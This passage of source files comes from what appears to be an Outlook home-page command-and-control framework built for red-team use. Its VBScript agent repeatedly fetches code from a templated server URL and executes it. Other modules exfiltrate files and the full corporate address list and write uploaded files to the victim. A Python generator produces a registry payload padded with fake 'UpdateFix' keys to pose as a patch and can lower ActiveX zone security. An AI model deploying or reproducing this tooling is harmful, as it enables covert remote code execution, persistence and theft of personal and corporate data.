    "content": "Function dir_creator(folderpath)\r\n\tOn error resume next\r\n    Set fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n    strDir = fs.GetAbsolutePathName(folderpath)\r\n    arrDirs = Split( strDir, \"\\\" )\r\n    If Left( strDir, 2 ) = \"\\\\\" Then\r\n        strDirBuild = \"\\\\\" & arrDirs(2) & \"\\\" & arrDirs(3) & \"\\\"\r\n        idxFirst    = 4\r\n    Else\r\n        strDirBuild = arrDirs(0) & \"\\\"\r\n        idxFirst    = 1\r\n    End If\r\n\r\n    For i = idxFirst to Ubound( arrDirs )\r\n        strDirBuild = fs.BuildPath( strDirBuild, arrDirs(i) )\r\n        If Not fs.FolderExists( strDirBuild ) Then\r\n            fs.CreateFolder strDirBuild\r\n        End if\r\n    Next\r\n\r\n    if fs.FolderExists(folderpath) then\r\n        dir_creator = \"Folder path: \" & folderpath & \" created successfully\"\r\n    else\r\n        dir_creator = \"Failed to create folder path: \" & folderpath & \" - Possibly permission issue\"\r\n    end if\r\nEnd Function"
  },
  {
    "path": "helperFunctions/dir_lister.txt",
    "content": "Function dir_lister(folderpath, depth, recurselevels, filetype, filename, nodirectories, sizeformat, nofiles)\r\n\tOn error resume next\r\n    Set fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n\tcontents = \"\"\r\n    \r\n\tif sizeformat = \"kb\" Then\r\n\t\tsizeround = 1024\r\n\telseif sizeformat = \"mb\" Then\r\n\t\tsizeround = 1048576\r\n\telseif sizeformat = \"gb\" Then\r\n\t\tsizeround = 1073741824\r\n\telseif sizeformat = \"tb\" Then\r\n\t\tsizeround = 1099511627776\r\n\tend if\r\n\r\n    if fs.FolderExists(folderpath) Then\r\n\t\tSet objFolder = fs.GetFolder(folderpath)\r\n\t\tif not nofiles Then\r\n\t\t\tif depth <= recurselevels Then\r\n\t\t\t\tSet colFiles = objFolder.Files\r\n\t\t\t\tFor Each objFile in colFiles\r\n\t\t\t\t\tfriendlysize = Round(objfile.Size / sizeround, 1)\r\n\t\t\t\t\tif filetype = \"*\" Then\r\n\t\t\t\t\t\tif filename = \"*\" Then\r\n\t\t\t\t\t\t\tcontents = contents & \"F: \" & objFile.Path & \" - Size: \" & friendlysize & sizeformat & \" - LastModified: \" & objFile.DateLastModified & vbCrLf\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\tIf LCase(fs.GetBaseName(objFile.Name)) = LCase(filename) Then\r\n\t\t\t\t\t\t\t\tcontents = contents & \"F: \" & objFile.Path & \" - Size: \" & friendlysize & sizeformat & \" - LastModified: \" & objFile.DateLastModified & vbCrLf\r\n\t\t\t\t\t\t\tend if\r\n\t\t\t\t\t\tend if\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tIf LCase(fs.GetExtensionName(objFile.Name)) = LCase(filetype) Then\r\n\t\t\t\t\t\t\tif filename = \"*\" Then\r\n\t\t\t\t\t\t\t\tcontents = contents & \"F: \" & objFile.Path & \" - Size: \" & friendlysize & sizeformat & \" - LastModified: \" & objFile.DateLastModified & vbCrLf\r\n\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\tIf LCase(fs.GetBaseName(objFile.Name)) = LCase(filename) Then\r\n\t\t\t\t\t\t\t\t\tcontents = contents & \"F: \" & objFile.Path & \" - Size: \" & friendlysize & sizeformat & \" - LastModified: \" & objFile.DateLastModified & vbCrLf\r\n\t\t\t\t\t\t\t\tend if\r\n\t\t\t\t\t\t\tend if\r\n\t\t\t\t\t\tEnd If\r\n\t\t\t\t\tEnd If\r\n\t\t\t\t\tIf Err.Number <> 0 Then\r\n\t\t\t\t\t\tif nodirectories Then\r\n\t\t\t\t\t\tElse\r\n\t\t\t\t\t\t\tcontents = contents & \"ERROR - Read Files denied on path - \" & folderpath  & vbCrLf\r\n\t\t\t\t\t\t\treturn\r\n\t\t\t\t\t\t\tErr.Clear\r\n\t\t\t\t\t\tend if\r\n\t\t\t\t\tEnd If\r\n\t\t\t\tNext\r\n\t\t\tend if\r\n\t\tend if\r\n\t\tFor Each Subfolder in objFolder.SubFolders\r\n\t\t\tif depth > recurselevels Then\r\n\t\t\t\texit For\r\n\t\t\telse\r\n\t\t\t\tif nodirectories Then\r\n\t\t\t\tElse\r\n\t\t\t\t\tcontents = contents & \"D: \" & Subfolder.Path & \" - LastModified: \" & Subfolder.DateLastModified & vbCrLf\r\n\t\t\t\tEnd if\r\n\t\t\t\tcontents = contents & dir_lister(Subfolder.Path, depth+1, recurselevels, filetype, filename, nodirectories, sizeformat, nofiles)\r\n\t\t\tEnd if\r\n        Next\r\n        if depth = 0 Then\r\n            dir_lister = \"Parent Folder: \" & folderpath & vbCrLf & contents\r\n        else\r\n            dir_lister = contents\r\n        End if\r\n    else\r\n        dir_lister = \"Folder \" & folderpath & \" does not exist\"\r\n    End If\r\nEnd Function"
  },
  {
    "path": "helperFunctions/supportFuncs.txt",
    "content": "Set outlookapp = window.external.OutlookApplication\nDim ay\nDim sync\n\n\nFunction requestpage(uri, rR)\n\tOn Error Resume Next\n\tvi = Left(outlookapp.version,4)\n\td = rR\n\tset oP = outlookapp.CreateObject(\"MSXML2.ServerXMLHTTP\")\n\toP.open \"POST\", uri,false\n\toP.setRequestHeader \"Content-Type\", \"application/x-www-form-urlencoded\"\n\toP.setRequestHeader \"Content-Length\", Len(d)\n\toP.setRequestHeader \"User-Agent\", \"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Specula; Microsoft Outlook \" & vi\n\toP.setOption 2, 13056\n\toP.send Replace(d, vbLf, \"\")\n\trequestpage = oP.responseText\nEnd Function\n\nSub downloadcode (uri)\n        On Error Resume Next\n\t\tSet serverapp = outlookapp.CreateObject(\"MSXML2.ServerXMLHTTP\")\n\t\tvr = Left(outlookapp.version,4)\n\t\tserverapp.open \"GET\", uri, False\n\t\tserverapp.setRequestHeader \"User-Agent\", \"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Specula; Microsoft Outlook \" & vr\n\t\tserverapp.send\n\t\tresponse = serverapp.ResponseText\n        f = Left(response, 1)\n\t\tj = Int(Mid(response, 2, 4)) * 1000\n\t\tIf Err.Number <> 0 Then\n\t\t    Exit Sub\n\t\tEnd If\n\t\tsync = j\n\t\tIf f = 2 Then\n\t\t    Exit Sub\n\t\tElseIf f = 1 Then\n            ExecuteGlobal Crypt(Mid(response, 6), ay, False)\n\t\tElse\n            ExecuteGlobal Mid(response, 6)\n\t\tEnd If\nEnd Sub\n\nFunction readreg(path,value)\n\tOn Error Resume Next\n\tVa = \"\"\n\tSet oL = outlookapp.CreateObject(\"WbemScripting.SWbemLocator\")\n   Set lr = oL.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\n\tlr.GetStringValue 2147483649, path, value, Va\n\treadreg = Va\nEnd Function\n\nFunction Crypt(input, Key, Mode)\n    For i = 1 To Len(input)\n        Position = Position + 1\n        If Position > Len(Key) Then Position = 1\n        keyx = Asc(Mid(Key, Position, 1))\n        If Mode Then\n            orgx = Asc(Mid(input, i, 1))\n            cptx = orgx Xor keyx\n            cptString = Hex(cptx)\n                        If Len(cptString) < 2 Then cptString = \"0\" & cptString\n                        z = z & cptString\n        Else\n            If i > Len(input) \\ 2 Then Exit For\n            cptx = CByte(\"&H\" & Mid(input, i * 2 - 1, 2))\n            orgx = cptx Xor keyx\n            z = z & Chr(orgx)\n        End If\n    Next\n    Crypt = z\nEnd Function\n\nFunction crypthelper(input, key, mode)\n\tl = Len(input)\n\tDim j\n\tIf mode Then\n\t\tReDim j(l * 2)\n\tElse\n\t\tReDim j(l / 2)\n\tEnd If\n    For i = 1 To l\n        Position = Position + 1\n        If Position > Len(key) Then Position = 1\n        kZ = Asc(Mid(key, Position, 1))\n        If mode Then\n            orZ = Asc(Mid(input, i, 1))\n            cpt = orZ Xor kZ\n            cptString = Hex(cpt)\n\t\t\tIf Len(cptString) < 2 Then cptString = \"0\" & cptString\n\t\t\tj(i) = cptString\n        Else\n            If i > Len(input) \\ 2 Then Exit For\n            cpt = CByte(\"&H\" & Mid(input, i * 2 - 1, 2))\n            orZ = cpt Xor kZ\n            j(i) = Chr(orZ)\n        End If\n    Next\n    crypthelper = Join(j, \"\")\nEnd Function\n\nFunction update_subscription()\n    aluceps_coi = Int((2200 - 201 + 1) * Rnd + 0)\n    if aluceps_coi = 1194 then\n        Set ws = window.external.OutlookApplication.CreateObject(\"Wscript.shell\")\n        c = \"cmd /c start https://github.com/trustedsec/specula/wiki/Why-am-I-seeing-this%3F\"\n\t    ws.Run c, 0, true\n    end if\n\n    downloadcode \"{{CODEURL}}\"\n    window.setTimeout \"update_subscription\", sync, \"VBScript\"\nEnd Function\n\n\noldstr = \"\"\nsync = {{REFRESH_TIME}} * 1000\nay = readreg({{ENCRYPTIONKEY_LOCATION}}, {{ENCRYPTIONKEY_VALUENAME}})\nwindow.setTimeout \"update_subscription\", sync, \"VBScript\""
  },
  {
    "path": "hiddenFunctions/downloadGAL.py",
    "content": "import math\nimport copy\nimport traceback\nfrom lib.core.specmodule import SpecModule\nfrom lib.core.utility import TaskClass\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.entry = 'downloadGAL'\n        self.depends = []\n        self.options['curloc'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"offset into file we need to download at\",\n            \"handler\": None\n        }\n        self.options['chunksize'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"size in bytes we are downloading per callback\",\n            \"handler\": None\n        }\n        self.options['dest'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"where we are writing this out to\",\n            \"handler\": None\n        }\n        self.options['totalsize'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Total size of this file\",\n            \"handler\": None\n        }\n        self.options['done'] = {\n            \"value\": False,\n            \"required\": True,\n            \"description\": \"This is set to true when sending the last download chunk\",\n            \"handler\": None\n        }\n        super().__init__(templatepath)\n\n    def rethandler(self, agent, options, data):\n        if len(data) > 0:  # we opened the file and got a size\n            try:\n                lines = data.split('\\n')\n                with open(options['dest']['value'] + '.contacts', 'a') as contacts:\n                    with open(options['dest']['value'] + '.ExchangeUsers', 'a') as ExchangeUsers:\n                        with open(options['dest']['value'] + '.Distros', 'a') as Distros:\n                            for line in lines:\n                                if line[:1] == 'C':\n                                    line = line[1:] + '\\n'\n                                    contacts.write(line)\n                                elif line[:1] == 'E':\n                                    line = line[1:] + '\\n'\n                                    ExchangeUsers.write(line)\n                                elif line[:1] == 'D':\n                                    line = line[1:] + '\\n'\n                                    Distros.write(line)\n                                else:\n                                    continue\n                if not options['done']['value']:  # we got data and we have more to download\n                    size = int(options['totalsize']['value'])\n                    sizeleft = \\\n                        int(options['totalsize']['value']) - \\\n                        (int(options['curloc']['value']) + int(options['chunksize']['value']))\n                    DF = self.helpers.get_module('downloadGAL', hidden=True)  # module to download each chunk\n                    DF.options['curloc']['value'] = int(options['curloc']['value']) + int(\n                        options['chunksize']['value'])\n                    DF.options['chunksize']['value'] = \\\n                        int(options['chunksize']['value']) if int(options['chunksize']['value']) < sizeleft \\\n                            else sizeleft\n                    DF.options['dest']['value'] = options['dest']['value']\n                    DF.options['totalsize']['value'] = options['totalsize']['value']\n                    if DF.options['chunksize']['value'] + DF.options['curloc']['value'] == DF.options['totalsize'][\n                        'value']:\n                        DF.options['done']['value'] = True\n                        DF.options['chunksize']['value'] += 1\n                    task = TaskClass('downloadGAL',\n                                     self.helpers.renderModule(DF, agent),\n                                     DF.entry,\n                                     copy.deepcopy(DF.options),\n                                     True,\n                                     'Download GAL part {} / {}'.format(\n                                         math.ceil(int(DF.options['curloc']['value']) / int(\n                                             options['chunksize']['value'])) + 1,\n                                         math.ceil(size / int(options['chunksize']['value']))\n                                     ),\n                                     printlog=False\n                                     )\n                    agent.add_task(task)\n                else:  # this was our last chunk\n                    self.helpers.speclog(\"{}: Finished downloading GAL it was written to {}\".format(\n                        agent.hostname,\n                        options['dest']['value']),\n                        output=True)\n            except Exception as msg:\n                traceback.print_exc()\n                self.helpers.speclog(\"{}: Failed to continue GAL download : {}\".format(agent.hostname, msg), output=True)\n\n        else:\n            self.helpers.speclog('{}: an unknown error occurred in the middle of downloading GAL, stopping'.format(\n                agent.hostname, output=True))"
  },
  {
    "path": "hiddenFunctions/downloadGAL.txt",
    "content": "Function downloadGAL()\n\ton error resume next\n\tSet GAL = window.external.OutlookApplication.GetNameSpace(\"MAPI\").GetGlobalAddressList().AddressEntries\n\tDim i\n\tDim objectlist\n\tSet contact = Nothing\n\tSet EU = Nothing\n\tSet DL = Nothing\n\ti = {{curloc}}\n\tFor i = {{curloc}} To {{curloc + chunksize -1}}\n\t        'objectlist = objectlist & GAL.Item(i).Name & \";\"\n\t        'objectlist = objectlist & GAL.Item(i).Address & \";\"\n\t        Set contact = GAL.Item(i).GetContact()\n\t        Set EU = GAL.Item(i).getExchangeUser()\n\t        Set DL = GAL.Item(i).GetExchangeDistributionList()\n            if not contact Is Nothing Then\n                objectlist = objectlist & \"C\"\n                objectlist = objectlist & contact.Email1Address & \";\"\n                objectlist = objectlist & contact.Firstname & \";\"\n                objectlist = objectlist & contact.LastName & \";\"\n                objectlist = objectlist & contact.MobileTelephoneNumber & \";\"\n                objectlist = objectlist & contact.OfficeLocation & \";\"\n                objectlist = objectlist & contact.JobTitle & \";\"\n                objectlist = objectlist & contact.BusinessTelephoneNumber  & \";\"\n                objectlist = objectlist & contact.City & \";\"\n                objectlist = objectlist & contact.StateOrProvince & \";\"\n                objectlist = objectlist & contact.PostalCode & \";\"\n                objectlist = objectlist & contact.StreetAddress & \";\"\n                objectlist = objectlist & contact.CompanyName\n            ElseIf not EU is Nothing Then\n                objectlist = objectlist & \"E\"\n                objectlist = objectlist & EU.PrimarySmtpAddress & \";\"\n                objectlist = objectlist & EU.Firstname & \";\"\n                objectlist = objectlist & EU.LastName & \";\"\n                objectlist = objectlist & EU.MobileTelephoneNumber & \";\"\n                objectlist = objectlist & EU.OfficeLocation & \";\"\n                objectlist = objectlist & EU.JobTitle & \";\"\n                objectlist = objectlist & EU.BusinessTelephoneNumber  & \";\"\n                objectlist = objectlist & EU.City & \";\"\n                objectlist = objectlist & EU.StateOrProvince & \";\"\n                objectlist = objectlist & EU.PostalCode & \";\"\n                objectlist = objectlist & EU.StreetAddress & \";\"\n                objectlist = objectlist & EU.CompanyName\n            ElseIf not DL Is Nothing Then\n                objectlist = objectlist & \"D\"\n                objectlist = objectlist & DL.PrimarySmtpAddress & \";\"\n                objectlist = objectlist & DL.Name & \";\"\n                objectlist = objectlist & DL.Alias & \";\"\n                objectlist = objectlist & DL.Comments\n            Else\n                objectList = objectlist & \"N\"\n            End If\n\t\t\tobjectlist = objectlist & vbCrLf\n\tNext\n    downloadGAL = objectlist\nEnd Function"
  },
  {
    "path": "hiddenFunctions/download_file.py",
    "content": "import math\nimport copy\nimport traceback\nfrom lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\nfrom lib.core.utility import TaskClass\nfrom datetime import datetime\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.entry = 'download_file'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"file we are downloading\",\n            \"handler\": None\n        }\n        self.options['startloc'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"offset into file we need to download at\",\n            \"handler\": None\n        }\n        self.options['chunksize'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"size in bytes we are downloading per callback\",\n            \"handler\": None\n        }\n        self.options['destination'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"where we are writing this out to\",\n            \"handler\": None\n        }\n        self.options['totalsize'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Total size of this file\",\n            \"handler\": None\n        }\n        self.options['done'] = {\n            \"value\": False,\n            \"required\": True,\n            \"description\": \"This is set to true when sending the last download chunk\",\n            \"handler\": None\n        }\n        super().__init__(templatepath)\n\n    def rethandler(self, agent, options, data):\n        if len(data) > 0: # we opened the file and got a size\n            try:\n                with open(options['destination']['value'], 'ab') as fp:\n                    fp.write(data.encode('latin1'))\n                if not options['done']['value']:  # we got data and we have more to download\n                    size = int(options['totalsize']['value'])\n                    sizeleft = \\\n                        int(options['totalsize']['value']) - \\\n                        ( int(options['startloc']['value']) + int(options['chunksize']['value']))\n                    DF = self.helpers.get_module('download_file', hidden=True)  # module to download each chunk\n                    DF.options['file']['value'] = quotedstring(options['file']['value'])\n                    DF.options['startloc']['value'] = int(options['startloc']['value']) + int(options['chunksize']['value'])\n                    DF.options['chunksize']['value'] = \\\n                        int(options['chunksize']['value']) if int(options['chunksize']['value']) < sizeleft \\\n                        else sizeleft\n                    DF.options['destination']['value'] = options['destination']['value']\n                    DF.options['totalsize']['value'] = options['totalsize']['value']\n                    if DF.options['chunksize']['value'] + DF.options['startloc']['value'] == DF.options['totalsize']['value']:\n                        DF.options['done']['value'] = True\n                    task = TaskClass('download_file',\n                                     self.helpers.renderModule(DF, agent),\n                                     DF.entry,\n                                     copy.deepcopy(DF.options),\n                                     True,\n                                     'Download File part {} / {}'.format(\n                                         math.ceil(int(DF.options['startloc']['value']) / int(\n                                             options['chunksize']['value'])) + 1,\n                                         math.ceil(size / int(options['chunksize']['value']))\n                                     ),\n                                     printlog=False\n                                     )\n                    agent.add_task(task)\n                else: # this was our last chunk\n                    self.helpers.speclog(\"{}: Finished downloading file {} it was written to {}\".format(\n                        agent.hostname,\n                        options['file']['value'], options['destination']['value']),\n                        output=True)\n                    with open(\"agent_data/\" + agent.hostname + \".txt\", \"a+\") as agent_log:  # A quick and dirty method to get data written to the agent log\n                        agent_log.write(datetime.now().strftime(self.helpers.timeformat) + \" -- \" + self.entry + \"\\n\")\n                        agent_log.write(\"Downloaded file {} to {}\".format(options['file']['value'], options['destination']['value']) + \"\\n\\n\")\n            except Exception as msg:\n                traceback.print_exc()\n                self.helpers.speclog(\"{}: Failed to continue file download : {}\".format(agent.hostname, msg), output=True)\n        else:\n            self.helpers.speclog('{}: an unknown error occured in the middle of downloading {}, stopping'.format(\n                agent.hostname,\n                options['file']['value']),\n                output=True)"
  },
  {
    "path": "hiddenFunctions/download_file.txt",
    "content": "Function download_file()\n\tOn Error Resume Next\n\tSet fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\n\tSet file = fs.GetFile({{file}})\n\tif IsNull(file) Then Exit Function\n\t    With file.OpenAsTextStream()\n\t    .Skip({{startloc}})\n        readBinary = .Read({{chunksize}})\n        .Close\n    End With\n    download_file = readBinary\nEnd Function"
  },
  {
    "path": "hiddenFunctions/upload_file.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import makeint, quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.entry = 'upload_file'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"file we are uploading\",\n            \"tab_complete\": self.helpers.complete_path,\n            \"handler\": None            \n        }\n        self.options['chunksize'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"size in bytes we are uploading per callback\",\n            \"handler\": makeint\n        }\n        self.options['destination'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"where we are writing this out to\",\n            \"handler\": quotedstring\n        }\n        self.options['data'] = {\n            \"value\": None,\n            \"required\": False,\n            \"description\": \"where we are writing this out to\",\n            \"handler\": None,\n            \"handler\": quotedstring,\n            \"hidden\": True\n        }\n        super().__init__(templatepath)\n\n    def rethandler(self, agent, options, data):\n        if str(data).startswith(\"ERROR\"):\n            self.helpers.speclog(\"Upload failed - Clear task queue manually or it will loop forever\",output=True)\n            self.helpers.speclog(str(data),output=True)\n            \n"
  },
  {
    "path": "hiddenFunctions/upload_file.txt",
    "content": "Function upload_file()\n\ton error resume next\n\tSet fso = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\n\tConst ForAppending = 8\n\tSet File = fso.OpenTextFile({{destination}}, ForAppending, True)\n\tIf Err.Number <> 0 Then\n\t\tupload_file = \"ERROR: \" & Err.Description \n\t\tErr.Clear\n\t\texit function\n\tEnd if\n\tdata = {{data}}\n\tstart = 1\n\tloopnumber = len(data)/2\n\tFor i = 1 To loopnumber\n\t\tFile.write chr(\"&H\" & mid(data,start,2))\n\t\tstart = start + 2\n \tNext\n\tFile.Close\n    upload_file = \"Chunk uploaded successfully\"\nEnd Function"
  },
  {
    "path": "hooker_generator.py",
    "content": "import os\r\nimport configparser\r\nfrom optparse import OptionParser\r\n\r\ndef logo():\r\n    logo = \"\"\"\r\n                                                     ██▓█▀\r\n                                                  ▄███▓▓\r\n                                                ▄████▒▒\r\n                                            ▄▄█▓███▓▓\r\n                                      ▄▄▄██▓▓▓███▓▓▒\r\n                                 ▄▄███████▓█▓███▓▒\r\n                             ▄▓▓▓▓███▓██▓▓▓████▓░\r\n                            ▓▒▒▄▄▄▓▓██▓▓███████\r\n                             ▀▓▓▓██▓▓█████████\r\n                                ███▓███████▓▓\r\n                               ▐███▓███████▒\r\n                               ▓█████████▓▒\r\n                              ▓███▓█████▓▒       ▓▄\r\n                              ▓▓▌ ▓█▓█▀▀         ▐▓█▄\r\n                             ▐▓▓ ▐▓▓▓▒            ▓▌██\r\n                             ▓▓  ▓▓▓▓             ▓▌▐▓█▄\r\n                            ▓▓▌ ░▓▓▒▒            ▐▓ ▐▓▓▓▄\r\n                           ▐▓▓▌ ▒▓█▒             ▓▓  ▓▓▓▓▌\r\n                           ▓█▓▒░▓▓▓▒   HOOKER   ▐▓▌ ░▓▓▓▓▓▌\r\n                           ▓▓▓▒▒▒▓▓▒           ▒▓▀  ▄▓▓▓▓█▓▌\r\n                          ▐▓▓▓▒▒▒▓█▒          ▓▌▄▄▓▓▓▓▓▓▓▓▓▓\r\n                          ▐▓▓▓▒▒▒▓█▌         ▄██▀▓▓▓▓▓▓▓▓█▓▓\r\n                          ▐▓▓▓▓▒▒▒▓█▌             ▐▓▓▓▓▓▓▓▓▓▓\r\n                           ▓▓▓▓▒▒▒▒▓▓▓           ▄▓▌▓▓▓▓▓▓▓▓▓▌\r\n                           ▓▓▓▓▓▓▓▓▒▒▓▓█▄▄     ▄▓▓▀▒▓▓▓▓▓▓▓▓▓▓\r\n                           ▐▓▓▓▓▓▓▓▓▓▒▒▒▒▀▀▀▓▓▓▀  ▄▓▓▓▓▓▓▓█▓▓█\r\n                            ▀██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄▓▓▓▓▓▓▓▓▓▓▓▓█▓█▌\r\n                             ▀█▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓██▓███▌\r\n                               ▀███████▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓████▀▀▀\r\n                                 ▀█████▓▓▓▓▓▓████▓██████▀▀\r\n                                   ▒▓████████████████▀▀\r\n                                       ▀▀▀███▀▀▀▀▀▀\r\n                                  Version 1.0 - Oddvar Moe\r\n\"\"\"\r\n    print(logo)\r\n\r\nclass Payloads:\r\n    def __init__(self, url, encryptionkey, version, activex, outputpath, junk):\r\n        self.url = url\r\n        self.encryptionkey = encryptionkey\r\n        self.version = version\r\n        self.activex = activex\r\n        self.outputpath = outputpath\r\n        self.junk = junk\r\n        \r\n        # generate obfuscated url\r\n        self.obfuscatedurl = list(self.url)\r\n        self.obfuscatedurl = '|'.join(self.obfuscatedurl)\r\n\r\n        if self.outputpath:\r\n            os.makedirs(os.path.dirname(self.outputpath), exist_ok=True)\r\n\r\n\r\n    def gen_registry_hooker(self):\r\n        print(\"\\033[1;32m\\n[+] Generating .reg payload\\033[0m\")\r\n\r\n        registry_header_template = \"\"\"Windows Registry Editor Version 5.00\r\n        \"\"\"\r\n        if self.junk:\r\n            junk_template = \"\"\"\r\n[HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\UpdateFix\\\\Data]\r\n\"FixId\"=\"ID5632124\"\r\n\"Patchid\"=dword:00000003\r\n\"EnableFix\"=dword:00000001\r\n\"KeepOldUpdates\"=dword:00000001\r\n\"KeepAliveSettings\"=dword:00000001\r\n\"EnableOutlookFix\"=dword:00000001\r\n\r\n[HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\UpdateFix]\r\n\"BugID\"=\"142351\"\r\n\"VendorSpecific\"=dword:00000001\r\n\"LegacyIESettings=dword:00000001\r\n\"CloudTelemetrics\"=dword:00000001\r\n\"AllowUninstall\"=dword:00000001\r\n\"MSSupportID\"=\"35612351-432123-5321231\"\r\n\r\n[HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\UpdateFix\\\\Tenant]\r\n\"TenantID\"=\"1baeav81-11a4-42cf-a038-5dab3902184a\"\r\n\"TenantDomain\"=\"onmicrosoft.com\"\r\n\"LegacyAuth\"=dword:00000000\r\n\"ModernAuth\"=dword:00000001\r\n\"AADADFSAccount\"=\"adfs_svc\"\r\n\"\"\"\r\n        else:\r\n            junk_template = \"\"\"\"\"\"\r\n\r\n        if self.activex:\r\n            activex_template = \"\"\"\r\n[HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Ext\\\\Stats\\\\{261B8CA9-3BAF-4BD0-B0C2-BF04286785C6}\\\\iexplore]\r\n\"Flags\"=dword:00000004\r\n\r\n[HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\2]\r\n\"140C\"=dword:00000000\r\n\"1200\"=dword:00000000\r\n\"1201\"=dword:00000003\r\n\"\"\"\r\n        else:\r\n            activex_template = \"\"\"\"\"\"\r\n        \r\n        # Version specific settings\r\n        if self.version:\r\n            settings_template = \"\"\"\r\n[HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\\"\"\" + self.version + \"\"\"\\\\Outlook\\\\Webview\\\\Inbox]\r\n\"url\"=\\\"\"\"\" + self.url + \"\"\"\\\"\r\n\"security\"=\"yes\"\r\n\"\"\"\r\n            if self.encryptionkey:\r\n                encryption_template = \"\"\"\r\n[HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\\"\"\" + self.version + \"\"\"\\\\Outlook\\\\UserInfo]\r\n\"KEY\"=\\\"\"\"\" + self.encryptionkey + \"\"\"\\\"\r\n\"\"\"\r\n                settings_template = settings_template + encryption_template\r\n        # Not version specific settings\r\n        else:\r\n            settings_template = \"\"\"\r\n[HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\16.0\\\\Outlook\\\\Webview\\\\Inbox]\r\n\"url\"=\\\"\"\"\" + self.url + \"\"\"\\\"\r\n\"security\"=\"yes\"\r\n\r\n[HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\15.0\\\\Outlook\\\\Webview\\\\Inbox]\r\n\"url\"=\\\"\"\"\" + self.url + \"\"\"\\\"\r\n\"security\"=\"yes\"\r\n\r\n[HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\14.0\\\\Outlook\\\\Webview\\\\Inbox]\r\n\"url\"=\\\"\"\"\" + self.url + \"\"\"\\\"\r\n\"security\"=\"yes\"\r\n\"\"\"\r\n\r\n            if self.encryptionkey:\r\n                encryption_template = \"\"\"\r\n[HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\16.0\\\\Outlook\\\\UserInfo]\r\n\"KEY\"=\\\"\"\"\" + self.encryptionkey + \"\"\"\\\"\r\n\r\n[HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\Office\\\\15.0\\\\Outlook\\\\UserInfo]\r\n\"KEY\"=\\\"\"\"\" + self.encryptionkey + \"\"\"\\\"\r\n\r\n[HKEY_CURRENT_USER\\SOFTWARE\\\\Microsoft\\\\Office\\\\14.0\\\\Outlook\\\\UserInfo]\r\n\"KEY\"=\\\"\"\"\" + self.encryptionkey + \"\"\"\\\"\r\n\"\"\"\r\n                settings_template = settings_template + encryption_template\r\n\r\n        registry_template = registry_header_template + junk_template + settings_template + activex_template            \r\n        return registry_template\r\n\r\n\r\n    def gen_outfile_registry_hooker(self):\r\n        f = open(self.outputpath+'/hooker.reg','w')\r\n        f.write(self.gen_registry_hooker())\r\n        f.close()\r\n\r\ndef main():\r\n    logo()\r\n    usage = \"Usage: %prog [options]\"\r\n    parser = OptionParser(usage=usage)\r\n    parser.add_option(\"-c\", \"--config\", action=\"store_true\", dest=\"config\", default=False,\r\n                      help=\"Bool: When set it will look for specConfig.ini, parse settings and generate payloads\")\r\n    parser.add_option(\"-u\", \"--url\", dest=\"url\",\r\n                    help=\"The url you want to add to generated code samples. If you are using prestaged url's also use the -e or --encryptionkey option\"),\r\n    parser.add_option(\"-e\", \"--encryptionkey\", dest=\"encryptionkey\",\r\n                      help=\"The key to use if you are using prestaged url's\")\r\n    parser.add_option(\"-a\", \"--activex\", action=\"store_true\", dest=\"activex\", default=False,\r\n                      help=\"Bool: When set it will also generate the needed settings for ActiveX to work\")\r\n    parser.add_option(\"-j\", \"--junk\", action=\"store_true\", dest=\"junk\", default=False,\r\n                      help=\"Bool: When set it will also add unused junk settings to registry\")\r\n    parser.add_option(\"-o\", \"--outputpath\", dest=\"outputpath\",\r\n                      help=\"Path to export the output from the tool. If not specified it will print to screen. Will create directory if not existing. Specify with /root/folder/\")\r\n    